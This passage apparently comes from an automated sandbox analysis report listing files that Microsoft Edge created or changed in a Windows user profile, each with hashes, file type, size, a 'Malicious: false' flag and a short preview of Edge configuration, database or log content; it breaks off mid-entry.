SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\94e32f11-3194-43a0-8a17-28a043806757.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557534097907554
Encrypted:	false
SSDEEP:	768:vrdlRwWv07pLGLPpIW5wTzf4bC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPiqIHEX9u:vJ3wU4cPpIWaTzfiCu1jafXWGStg
MD5:	3DEB162C58B3614FC33B70BB4207B22F
SHA1:	DE1AEBB5AB980BDC9B37BD687B98DDCF3D2C1272
SHA-256:	9DEF008DDAF9AA78570617392CFBBF9F646FA413EDF7EC841BAD5FC98762821A
SHA-512:	A46031E9D4039415E1A58E96CE6AD22EBF1BBC26DD50D84CCC573BDFC4256A1904EC1256FF6F5CA94AC0DE9961375C1CA026231091802E14B0A7EE7BBDEAD934
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377230851320784","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377230851320784","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\998c3153-a77f-4c07-a834-41a5db041bab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107350448651629
Encrypted:	false
SSDEEP:	192:st+kdpNsFCZaFvrE9k1V/87bV+F01QAdUPPDYJ:st+QNssZCDYbGCQ/o
MD5:	3940B7EFD0A5D322A9A0F02514B3830C
SHA1:	B4EAAC617AB6A5FBB575BB0AE28949D86C9743EE
SHA-256:	22EAD617D4674C87B366AD3FB7451CBA1C4949DF1AD9BB3D7C33F182FBBC13EA
SHA-512:	28CEDE779746D9E10FC5F9DECDCEE36A65B1948A541D4C93DDA1C33E9628791D7C698D3691D3A07B866106F0FB56D20AC7C89C8FF768A2BD16AF9266D62C4F6E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377230852423420","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.267209206903654
Encrypted:	false
SSDEEP:	6:HC5FTD1N723oH+Tcwtp3hBtB2KLlVC5KGN9+q2PN723oH+Tcwtp3hBWsIFUv:kDaYebp3dFLeN9+vVaYebp3eFUv
MD5:	D3601A7A595C4A9A563FED897FEE2E7B
SHA1:	9E61AC22518CF115241706AAAC2314AEEF075A7C
SHA-256:	B89D52C071D13A712BE155A00B90D5BEC827878AA364871A4994A8E2FCF42392
SHA-512:	03D28513C996E1EBE7F2D9B0D72A7E914C52C1C1CE93458D8E611C2FB37CF0C9CA83B775DA8E7BC2F89C38015A7B7654146FBCEEA278F102D758B5C47D9B9573
Malicious:	false
Preview:	2024/11/27-20:27:36.650 209c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/27-20:27:36.689 209c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222869324383636
Encrypted:	false
SSDEEP:	24576:IbPMZpVLfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVLfx2mjF
MD5:	DDAF5E53992B605526CE6214D35B63C5
SHA1:	B68A0B101B7A3CFD9FB200E4362F372033A27676
SHA-256:	5CC5D15497FEFE24016540DF151A796A0B991A0DED43F3E8178943108D1942B9
SHA-512:	8707619ADBF9E05342CF3FEFD33D0D7BC3E9D89001938CC6FAD727400042B266B4B4B5F3C302B0B837C33D46B11443DFE2D24758E6744947659F72DBC6ABF2C8
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1147551607795805
Encrypted:	false
SSDEEP:	6:HC5I+q2PN723oH+Tcwt9Eh1tIFUt8YC52XZmw+YC5u3VkwON723oH+Tcwt9Eh15d:ivVaYeb9Eh16FUt8K/+u5OaYeb9Eh1VJ
MD5:	4D37DD024EC65BA3CFEC2E591B42BFFB
SHA1:	662532CDF7D1861B7312A7B53CF9EA9C3EEE2B36
SHA-256:	B08C256CD3AE38F4F01B539627676E5E3225B68A2AF0A2F2BA6FD3215CE63FB7
SHA-512:	1FB897FCEE336650C65512DC5AE231B27629AA08C564019B18E06FDE8FC67F6617E503DA581AA19A5A27CC1EF07E808EED0A7CD83642323627D12721ACC7D81A
Malicious:	false
Preview:	2024/11/27-20:27:36.432 20c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/27-20:27:36.434 20c8 Recovering log #3.2024/11/27-20:27:36.470 20c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1147551607795805
Encrypted:	false
SSDEEP:	6:HC5I+q2PN723oH+Tcwt9Eh1tIFUt8YC52XZmw+YC5u3VkwON723oH+Tcwt9Eh15d:ivVaYeb9Eh16FUt8K/+u5OaYeb9Eh1VJ
MD5:	4D37DD024EC65BA3CFEC2E591B42BFFB
SHA1:	662532CDF7D1861B7312A7B53CF9EA9C3EEE2B36
SHA-256:	B08C256CD3AE38F4F01B539627676E5E3225B68A2AF0A2F2BA6FD3215CE63FB7
SHA-512:	1FB897FCEE336650C65512DC5AE231B27629AA08C564019B18E06FDE8FC67F6617E503DA581AA19A5A27CC1EF07E808EED0A7CD83642323627D12721ACC7D81A
Malicious:	false
Preview:	2024/11/27-20:27:36.432 20c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/27-20:27:36.434 20c8 Recovering log #3.2024/11/27-20:27:36.470 20c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46156215460986616
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuHSD:TouQq3qh7z3bY2LNW9WMcUvBu0
MD5:	50E64684DB9E82F1060488A34270A888
SHA1:	2173EC39BB029DA267C9D4F49635C8C537858545
SHA-256:	E1A65FA13993B30ED74B244ECD633C0D7DEC5D83E482F423DAF0589178F77054
SHA-512:	7A33C86490249BFB8E2DCA63E8D26A78DBB3F11698AEABABBABF44A794F11AA8E4EFFBF3DB7DD4DBE710E57701D1B4C277154F82D6C1A65CBB2D90104A53339E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.20326242108417
Encrypted:	false
SSDEEP:	6:HC5W3+q2PN723oH+TcwtnG2tMsIFUt8YC57FYW5Zmw+YC57FYWtVkwON723oH+TR:BOvVaYebn9GFUt8+W5/++WT5OaYebn9b
MD5:	8A58A443C63D2A8E9163FC35EE10908C
SHA1:	9FA9E7C4E01C2F7E7D61B7394B29765F482CB830
SHA-256:	7799F057C427E72346B33E187B1B7681E5DFAB0C59C87A39C6662B440BF58FEF
SHA-512:	D35F2E023FEB4F13A6D1D232B489EF7F92E8F66E1AE1202B34879DC88A6C9913753F6A85FBF90D767E421AF6E7A95F9D03A224CBB39DA5722644EBB949DF6BDD
Malicious:	false
Preview:	2024/11/27-20:27:31.463 1d38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/27-20:27:31.464 1d38 Recovering log #3.2024/11/27-20:27:31.464 1d38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.20326242108417
Encrypted:	false
SSDEEP:	6:HC5W3+q2PN723oH+TcwtnG2tMsIFUt8YC57FYW5Zmw+YC57FYWtVkwON723oH+TR:BOvVaYebn9GFUt8+W5/++WT5OaYebn9b
MD5:	8A58A443C63D2A8E9163FC35EE10908C
SHA1:	9FA9E7C4E01C2F7E7D61B7394B29765F482CB830
SHA-256:	7799F057C427E72346B33E187B1B7681E5DFAB0C59C87A39C6662B440BF58FEF
SHA-512:	D35F2E023FEB4F13A6D1D232B489EF7F92E8F66E1AE1202B34879DC88A6C9913753F6A85FBF90D767E421AF6E7A95F9D03A224CBB39DA5722644EBB949DF6BDD
Malicious:	false
Preview:	2024/11/27-20:27:31.463 1d38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/27-20:27:31.464 1d38 Recovering log #3.2024/11/27-20:27:31.464 1d38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.612069436978097
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jv+Twpi+0mL:TO8D4jJ/6Up+buts
MD5:	616A8CFEE12B5A9E710FD920A30645C4
SHA1:	16D837262D8AE0E48E3D4F2E24FC458DEDA851DC
SHA-256:	D7F4F109FC61D75D998EBF554920C86DA7B6D6851CF83DDB396E207C032DA170
SHA-512:	194B82C79BEFC2C558B57FC78A7FEFC419CA38F83D8AB1D3BE133563AC58C302F7C6A24242D9D9ACDA4D293895F4BD546BD13367F8F215D14BEA5058E66673B0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354125012976382
Encrypted:	false
SSDEEP:	6144:GA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:GFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	A79E191C813D913DD5C83E96A39EA3CF
SHA1:	AEC63540F75CBE24BCBE9490DCE8D1D4235FCD06
SHA-256:	041DB837FCB2EB5A3189E01860B88D4CD31532E2EE4F1D3B012095072AE54843
SHA-512:	ABCF97797BE46E01CD8306C4EBDBD013871322EB9CDF422678297FFF2535F09A8E8B0FB610FEE9E3A6D18040FAD1B4CCC11F57D87F130C92BBD5962F2A79A0C1
Malicious:	false
Preview:	...m.................DB_VERSION.1.DJq...............&QUERY_TIMESTAMP:domains_config_gz2...13377230858814364..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.152236322650202
Encrypted:	false
SSDEEP:	6:HC52XV41N723oH+Tcwtk2WwnvB2KLlVC5jhX1L+q2PN723oH+Tcwtk2WwnvIFUv:XYaYebkxwnvFLOhFyvVaYebkxwnQFUv
MD5:	4AA642DE38E53A7848463E54F428867D
SHA1:	FF6B02E7FB733958075D7AA437BB5828E1131AE8
SHA-256:	55AA76257249389522BAA7E564299D51A9DFED63495EC0AF2C161224173C84AF
SHA-512:	27B3FBF0E1E2811E32AA74CD937E247B4843F11CB0D9D8AF8CB9A49897048DDA7882A52F0106534E6C3F09811DFECA1A35D7FCBDD44FF237003289EA20FF39A7
Malicious:	false
Preview:	2024/11/27-20:27:36.471 20e8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/27-20:27:36.545 20e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324615718634578
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RM:C1gAg1zfv0
MD5:	1237BD4C222864ADB585FB367F9E837F
SHA1:	68AB3535B445FDE6777DF5AF7F1830FC700B807B
SHA-256:	17B6498E6F66B352B5AC209768E973ADC360FED91641C63706017FCDA46C1FBA
SHA-512:	878F8A0126CFFE68CAD7693DFDFF6AA249123F0E4B00C56D46BF654DA0B3D17E4D49D5984EE630ABFEDFFDDA6DCCB5AA0FEDD4AE56267ECC4EFA09CA80421ADF
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1170690888482735
Encrypted:	false
